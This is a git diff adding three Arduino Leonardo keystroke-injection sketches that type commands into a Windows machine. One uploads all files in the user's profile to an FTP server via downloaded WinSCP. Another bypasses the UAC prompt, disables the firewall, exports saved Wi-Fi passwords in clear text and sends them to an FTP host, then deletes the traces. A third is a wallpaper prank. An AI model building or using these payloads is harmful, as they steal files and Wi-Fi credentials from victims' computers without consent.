diff --git a/atmega32u4_arduino_leonardo/ftp_download_upload/ftp_download_upload.ino b/atmega32u4_arduino_leonardo/ftp_download_upload/ftp_download_upload.ino new file mode 100644 index 0000000..9479f29 --- /dev/null +++ b/atmega32u4_arduino_leonardo/ftp_download_upload/ftp_download_upload.ino @@ -0,0 +1,34 @@ +#define kbd_es_es +#include + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + CommandAtRunBarMSWIN("cmd"); + delay(3000); + Keyboard.println("cd %USERPROFILE%"); + delay(2000); + Keyboard.println("ftp -i SERVER"); + delay(2000); + Keyboard.println("USERNAME"); + delay(2000); + Keyboard.println("PASSWORD"); + delay(2000); + Keyboard.println("GET WinSCP.com"); + delay(2000); + Keyboard.println("GET WinSCP.exe"); + delay(2000); + Keyboard.println("quit"); + delay(2000); + Keyboard.println("WinSCP.com /command \"option batch abort\" \"option confirm off\" \"open ftp://USERNAME2:PASSWORD2@SERVER2\" \"put *.*\" \"close\" \"exit\""); + delay(2000); + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(' '); + Keyboard.press('n'); + delay(100); + Keyboard.releaseAll(); + while(1); +} diff --git a/atmega32u4_arduino_leonardo/wifun/wifun.ino b/atmega32u4_arduino_leonardo/wifun/wifun.ino new file mode 100644 index 0000000..169c1bf --- /dev/null +++ b/atmega32u4_arduino_leonardo/wifun/wifun.ino @@ -0,0 +1,56 @@ +#define kbd_es_es +#include + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + Keyboard.press(KEY_LEFT_GUI); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.print("cmd"); + delay(2000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_LEFT_SHIFT); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.press(KEY_LEFT_ARROW); + delay(100); + Keyboard.releaseAll(); + delay(4000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.println("netsh advfirewall set currentprofile state off"); + delay(3000); + Keyboard.println("cd %USERPROFILE%"); + delay(3000); + Keyboard.println("netsh wlan export profile key=clear"); + delay(3000); + Keyboard.println("ftp -i seridorftp"); + delay(10000); + Keyboard.println("username"); + delay(3000); + Keyboard.println("password"); + delay(3000); + Keyboard.println("prompt"); + delay(3000); + Keyboard.println("prompt"); + delay(3000); + Keyboard.println("MPUT *.xml"); + delay(3000); + Keyboard.println("bye"); + delay(3000); + Keyboard.println("del *.xml"); + delay(3000); + Keyboard.println("netsh advfirewall set currentprofile state on"); + delay(3000); + Keyboard.println("exit"); + while(1); +} diff --git a/atmega32u4_arduino_leonardo/win10_hotdog_wallpaper/win10_hotdog_wallpaper.ino b/atmega32u4_arduino_leonardo/win10_hotdog_wallpaper/win10_hotdog_wallpaper.ino new file mode 100644 index 0000000..f0b29e3 --- /dev/null +++ b/atmega32u4_arduino_leonardo/win10_hotdog_wallpaper/win10_hotdog_wallpaper.ino @@ -0,0 +1,74 @@ +#define kbd_es_es +#include + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + CommandAtRunBarMSWIN("iexplore http://s3.amazonaws.com/rapgenius/hotdog.jpg"); + delay(5000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('s'); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.println("%USERPROFILE%\\hotdog.jpg"); + delay(2000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('w'); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.press(KEY_LEFT_GUI); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.println("paint"); + delay(5000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('a'); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.println("%USERPROFILE%\\hotdog.jpg"); + delay(4000); + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press('f'); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.press(KEY_TAB); + delay(100); + Keyboard.releaseAll(); + delay(1000); + Keyboard.press(KEY_TAB); + delay(100); + Keyboard.releaseAll(); + delay(1000); + Keyboard.press(KEY_TAB); + delay(100); + Keyboard.releaseAll(); + delay(1000); + Keyboard.press(KEY_TAB); + delay(100); + Keyboard.releaseAll(); + delay(1000); + Keyboard.press(KEY_TAB); + delay(100); + Keyboard.releaseAll(); + delay(1000); + Keyboard.press(KEY_TAB); + delay(100); + Keyboard.releaseAll(); + delay(1000); + Keyboard.press(KEY_TAB); + delay(100); + Keyboard.releaseAll(); + delay(1000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + while(1); +}